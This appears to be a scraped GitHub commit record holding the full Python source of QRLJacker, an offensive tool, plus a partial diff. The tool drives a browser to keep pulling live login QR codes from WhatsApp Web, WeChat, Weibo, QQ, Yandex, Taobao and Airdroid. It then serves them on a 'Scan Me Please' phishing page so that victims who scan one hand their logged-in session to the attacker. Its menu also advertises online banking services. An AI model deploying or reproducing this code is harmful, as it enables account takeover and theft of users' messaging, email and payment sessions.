base64,time,selenium,os,urllib,sys,threading,configparser from selenium import webdriver from binascii import a2b_base64 from PIL import Image def Serve_it(port=1337): \tdef serve(port): \t\tif os.name==\"nt\": \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\") \t\telse: \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\") \tthreading.Thread(target=serve,args=(port,)).start() def create_driver(): \ttry: \t\tweb=webdriver.Firefox() \t\tprint \"[+]Opening Mozila FireFox...\" \t\treturn web \texcept: \t\tweb=webdriver.Chrome() \t\tprint \"[+]Opening Google Chrome...\" \t\treturn web def Screenshot(PicName,location,size): \timg=Image.open(PicName) \tleft=location['x'] \ttop=location['y'] \tright=left +size['width'] \tbottom=top +size['height'] \tbox=(int(left), int(top), int(right), int(bottom)) \tfinal=img.crop(box) \tfinal.load() \tfinal.save(PicName) def whatsapp(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get('https://web.whatsapp.com/') \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name('qr-button') \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timg=driver.find_elements_by_tag_name('img')[0] \t\t\tsrc=img.get_attribute('src').replace(\"data:image/png;base64,\",\"\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tprint \"[+]Downloading the image..\" \t\t\tbinary_data=a2b_base64(src) \t\t\tqr=open(\"tmp.png\",\"wb\") \t\t\tqr.write(binary_data) \t\t\tprint \"[ \t\t\tqr.close() \t\t\ttime.sleep(5) \t\t\tcontinue \t\texcept: \t\t\tbreak def Yandex(): \tprint \"\\n---------------------------\" \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://passport.yandex.com/auth?mode=qr\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timg_url=\"https://passport.yandex.com\" +driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tdata=urllib.urlopen(img_url).read() \t\t\tprint \"[+]Downloading the image..\" \t\t\tf=open(\"tmp.svg\",\"w\").write(data) \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Airdroid(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://web.airdroid.com\") \ttime.sleep(5) \timg_number=16 \trefresh=0 \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[img_number] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tif refresh==0: \t\t\t\tprint \"[!]Refreshing page...\" \t\t\t\tdriver.refresh() \t\t\t\trefresh=1 \t\t\timg_number=15 \t\t\tcontinue \t\texcept: \t\t\tbreak def Weibo(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://weibo.com/login.php\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[len(imgs)-1] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def WeChat(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://web.wechat.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def QQ(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://w.qq.com\") \ttime.sleep(10) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tdriver.save_screenshot('tmp.png') \t\t\timg=driver.find_elements_by_tag_name(\"img\")[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tlocation=img.location \t\t\tsize=img.size \t\t\tprint \"[+]Grabbing photo..\" \t\t\tScreenshot(\"tmp.png\",location,size) \t\t\tprint \"[ \t\t\twebdriver.delete_all_cookies() \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Taobao(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://login.taobao.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton_class=web.find_element_by_class_name(\"msg-err\") \t\t\tbutton=button_class.find_elements_by_tag_name(\"a\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def make(typ=\"html\"): \tif typ==\"html\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"Scan
    \"\"\" \tif typ==\"svg\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"\"\" \tf=open(\"index.html\",\"w\") \tf.write(code) \tf.close() def Simple_Exploit(classname,url,image_number,s=10): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(url) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tlogin=driver.find_element_by_class_name(classname) \t\t\timg=login.find_elements_by_tag_name('img')[int(image_number)] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(s) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def clear(): \tif os.name==\"nt\": \t\tos.system(\"cls\") \telse: \t\tos.system(\"clear\") def main(): \t \tprint \"\"\"\\n \t ___ _ _ _ \t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __ \t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__| \t| |_| || | | | | |_| ||(_| ||(__ | <| __/| | \t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_| Vulnerable Web Applications and Services: 1.Chat Applications 2.Mailing Services 3.eCommerce 4.Online Banking 5.Passport Services 6.Mobile Management Software 7.Other Services 8.Customization \"\"\" \tchoice=input(\" Choice > \") \t \tif choice==1: \t\tprint \"\"\" 1.WhatsApp 2.WeChat 3.Line 4.Weibo 5.QQ Instant Messaging 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\t \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\twhatsapp() \t\t\tmain() \t\t \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeChat() \t\t\tmain() \t\t \t\t \t\telif int(choice_2)==4: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeibo() \t\t\tmain() \t\telif int(choice_2)==5: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tQQ() \t\t\tmain() \t \tif choice==2: \t\tprint \"\"\" 1.QQ Mail 2.Yandex Mail 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake(\"svg\") \t\t\tServe_it(port) \t\t\tYandex() \t\t\tmain() \t \tif choice==3: \t\tprint \"\"\" 1.Alibaba 2.Aliexpress 3.Taobao 4.Tmall 5.1688.com 6.Alimama 7.Taobao Trips 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==3: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t\t \t\t \t\t \t\telif int(choice_2)==7: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t \tif choice==4: \t\tprint \"\"\" 1.AliPay 2.Yandex Money 3.TenPay 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==5: \t\tprint \"\"\" 1.Yandex Passport 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==6: \t\tprint \"\"\" 1.Airdroid 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tAirdroid() \t\t\tmain() \t \tif choice==7: \t\tprint \"\"\" 1.MyDigiPass 2.Zapper 3.Trustly App 4.Yelophone 5.Alibaba Yunos 00.Back To Main Menu \"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \t \t\t \t\t \t\t \t\t if __name__=='__main__': \tmain() ", "sourceWithComments": "#!/usr/bin/env python\n#-*- encoding:utf-8 -*-\n#Author:D4Vinci\nimport base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\nfrom selenium import webdriver\nfrom binascii import a2b_base64\nfrom PIL import Image\n\n#settings = configparser.ConfigParser()\n\ndef Serve_it(port=1337):\n\tdef serve(port):\n\t\tif os.name==\"nt\":\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n\t\telse:\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n\tthreading.Thread(target=serve,args=(port,)).start()\n\ndef create_driver():\n\ttry:\n\t\tweb = webdriver.Firefox()\n\t\tprint \" [+]Opening Mozila FireFox...\"\n\t\treturn web\n\texcept:\n\t\tweb = webdriver.Chrome()\n\t\tprint \" [+]Opening Google Chrome...\"\n\t\treturn web\n\n#Stolen from stackoverflow :D\ndef Screenshot(PicName ,location ,size):\n\timg = Image.open(PicName)#screenshot.png\n\tleft = location['x']\n\ttop = location['y']\n\tright = left + size['width']\n\tbottom = top + size['height']\n\tbox = (int(left), int(top), int(right), int(bottom))\n\tfinal = img.crop(box) # defines crop points\n\tfinal.load()\n\tfinal.save(PicName)\n\ndef whatsapp():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get('https://web.whatsapp.com/')\n\ttime.sleep(5)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name('qr-button')\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\n\t\ttry:\n\t\t\timg = driver.find_elements_by_tag_name('img')[0]\n\t\t\tsrc = img.get_attribute('src').replace(\"data:image/png;base64,\",\"\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tbinary_data = a2b_base64(src)\n\t\t\tqr = open(\"tmp.png\",\"wb\")\n\t\t\tqr.write(binary_data)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\tqr.close()\n\t\t\ttime.sleep(5)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\n#make(\"svg\")\ndef Yandex():\n\tprint \"\\n-- --- -- --- -- --- -- --- -- --- --\"\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://passport.yandex.com/auth?mode=qr\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timg_url = \"https://passport.yandex.com\" + driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tdata = urllib.urlopen(img_url).read()\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tf = open(\"tmp.svg\",\"w\").write(data)\n\t\t\tprint \" [#]Saved To tmp.svg\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Airdroid():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://web.airdroid.com\")\n\ttime.sleep(5)\n\timg_number = 16\n\trefresh = 0\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[img_number]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tif refresh == 0:\n\t\t\t\tprint \" [!]Refreshing page...\"\n\t\t\t\tdriver.refresh()\n\t\t\t\trefresh = 1\n\t\t\timg_number = 15\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Weibo():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://weibo.com/login.php\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[len(imgs)-1]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef WeChat():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://web.wechat.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef QQ():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://w.qq.com\")\n\ttime.sleep(10)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tdriver.save_screenshot('tmp.png') #screenshot entire page\n\t\t\timg = driver.find_elements_by_tag_name(\"img\")[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tlocation = img.location\n\t\t\tsize = img.size\n\t\t\tprint \" [+]Grabbing photo..\"\n\t\t\tScreenshot(\"tmp.png\" ,location ,size)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\twebdriver.delete_all_cookies()\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Taobao():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://login.taobao.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton_class = web.find_element_by_class_name(\"msg-err\")\n\t\t\tbutton = button_class.find_elements_by_tag_name(\"a\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef make(typ=\"html\"):\n\tif typ == \"html\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n\"Scan
    \n\"\"\"\n\n\tif typ == \"svg\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n
    \n\"\"\"\n\tf = open(\"index.html\",\"w\")\n\tf.write(code)\n\tf.close()\n\ndef Simple_Exploit(classname,url,image_number,s=10):\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(url)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tlogin = driver.find_element_by_class_name(classname)\n\t\t\timg = login.find_elements_by_tag_name('img')[int(image_number)]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(s)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef clear():\n\tif os.name == \"nt\":\n\t\tos.system(\"cls\")\n\telse:\n\t\tos.system(\"clear\")\n\ndef main():\n\t#clear()\n\tprint \"\"\"\\n\n\t ___ _ _ _\n\t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __\n\t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__|\n\t| |_| || | | | | |_| || (_| || (__ | <| __/| |\n\t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_|\n\n# Hacking With Qrljacking Attack Vector Become Easy\n# Coded By karim Shoair | D4Vinci\n\n Vulnerable Web Applications and Services:\n 1.Chat Applications\n 2.Mailing Services\n 3.eCommerce\n 4.Online Banking\n 5.Passport Services\n 6.Mobile Management Software\n 7.Other Services\n 8.Customization\n\"\"\"\n\tchoice = input(\" Choice > \")\n\n\t#Chat Applications\n\tif choice == 1:\n\t\tprint \"\"\"\n 1.WhatsApp\n 2.WeChat\n 3.Line\n 4.Weibo\n 5.QQ Instant Messaging\n 00.Back To Main Menu\n\t\"\"\"\n\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\t#Whatsapp\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\twhatsapp()\n\t\t\tmain()\n\n\t\t#Wechat\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeChat()\n\t\t\tmain()\n\n\t\t#3\n\n\t\t#Weibo\n\t\telif int(choice_2) == 4:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeibo()\n\t\t\tmain()\n\n\t\telif int(choice_2) == 5:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tQQ()\n\t\t\tmain()\n\n\t#Mailing Services\n\tif choice == 2:\n\t\tprint \"\"\"\n 1.QQ Mail\n 2.Yandex Mail\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake(\"svg\")\n\t\t\tServe_it(port)\n\t\t\tYandex()\n\t\t\tmain()\n\n\t#eCommerce\n\tif choice == 3:\n\t\tprint \"\"\"\n 1.Alibaba\n 2.Aliexpress\n 3.Taobao\n 4.Tmall\n 5.1688.com\n 6.Alimama\n 7.Taobao Trips\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 3:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t\t#4\n\n\t\t#5\n\n\t\t#6\n\n\t\telif int(choice_2) == 7:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t#Online Banking\n\tif choice == 4:\n\t\tprint \"\"\"\n 1.AliPay\n 2.Yandex Money\n 3.TenPay\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Passport Services\n\tif choice == 5:\n\t\tprint \"\"\"\n 1.Yandex Passport\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Mobile Management Software\n\tif choice == 6:\n\t\tprint \"\"\"\n 1.Airdroid\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tAirdroid()\n\t\t\tmain()\n\n\t#Other Services\n\tif choice == 7:\n\t\tprint \"\"\"\n 1.MyDigiPass\n 2.Zapper\n 3.Trustly App\n 4.Yelophone\n 5.Alibaba Yunos\n 00.Back To Main Menu\n\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Customization\n\t#if choice == 8:\n\t\t#settings.read(\"Data/Simple.ini\")\n\t\t#url = settings.get(\"WeChat\",\"url\")\n\t\t#image_number = settings.get(\"WeChat\",\"image_number\")\n\t\t#classname = settings.get(\"WeChat\",\"classname\")\nif __name__ == '__main__':\n\tmain()\n"}}, "msg": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n...."}}, "https://github.com/fir3storm/QRLJacking": {"a101472db88764a0d031ef85fa283967b0692a77": {"url": "https://api.github.com/repos/fir3storm/QRLJacking/commits/a101472db88764a0d031ef85fa283967b0692a77", "html_url": "https://github.com/fir3storm/QRLJacking/commit/a101472db88764a0d031ef85fa283967b0692a77", "message": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n....", "sha": "a101472db88764a0d031ef85fa283967b0692a77", "keyword": "command injection issue", "diff": "diff --git a/QrlJacking-Framework/QRLJacker.py b/QrlJacking-Framework/QRLJacker.py\nindex 81260e9..9538f70 100644\n--- a/QrlJacking-Framework/QRLJacker.py\n+++ b/QrlJacking-Framework/QRLJacker.py\n@@ -1,10 +1,40 @@\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n@@ -12,10 +42,10 @@ def Serve_it(port=1337):\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 